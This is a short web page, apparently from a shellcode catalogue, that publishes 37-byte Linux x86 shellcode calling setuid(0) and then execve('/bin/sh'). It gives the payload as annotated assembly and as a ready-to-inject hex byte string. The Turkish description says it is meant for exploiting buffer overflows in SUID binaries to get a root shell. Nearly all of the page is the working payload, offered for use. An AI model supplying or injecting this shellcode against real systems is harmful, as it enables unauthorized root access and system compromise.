Linux/x86 setuid(0) + execve(/bin/sh) Shellcode - 37 Bytes (Klasik)

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    <p class="text-xs font-bold uppercase tracking-widest text-red-700 mb-1">Klasik Shellcode - Linux x86 - 37 Bytes</p>
    <h2 class="text-2xl font-extrabold text-slate-900 leading-tight">Linux/x86 setuid(0) + execve(/bin/sh) - 37 Bytes</h2>
    <p class="text-sm text-slate-600 mt-2">SUID biti set edilmis binary'lerdeki buffer overflow zafiyetlerini somürmek icin tasarlanmis klasik shellcode. Once setuid(0) ile kullanici ID'sini root'a ceker, ardindan kabuk acar.</p>
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    <h3 class="text-xl font-bold text-slate-900 border-b border-slate-200 pb-2 mb-4">Assembly</h3>
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; setuid(0)
xor   ebx, ebx       ; uid = 0
xor   eax, eax
mov   al,  0x17      ; syscall 23 = setuid
int   0x80
; execve
xor   eax, eax
push  eax
push  0x68732f2f
push  0x6e69622f
mov   ebx, esp
push  eax
push  ebx
mov   ecx, esp
xor   edx, edx
mov   al,  0x0b      ; syscall 11 = execve
int   0x80
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    <h3 class="text-xl font-bold text-slate-900 border-b border-slate-200 pb-2 mb-4">Hex</h3>
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\x31\xdb\x31\xc0\xb0\x17\xcd\x80
\x31\xc0\x50\x68\x2f\x2f\x73\x68
\x68\x2f\x62\x69\x6e\x89\xe3\x50
\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
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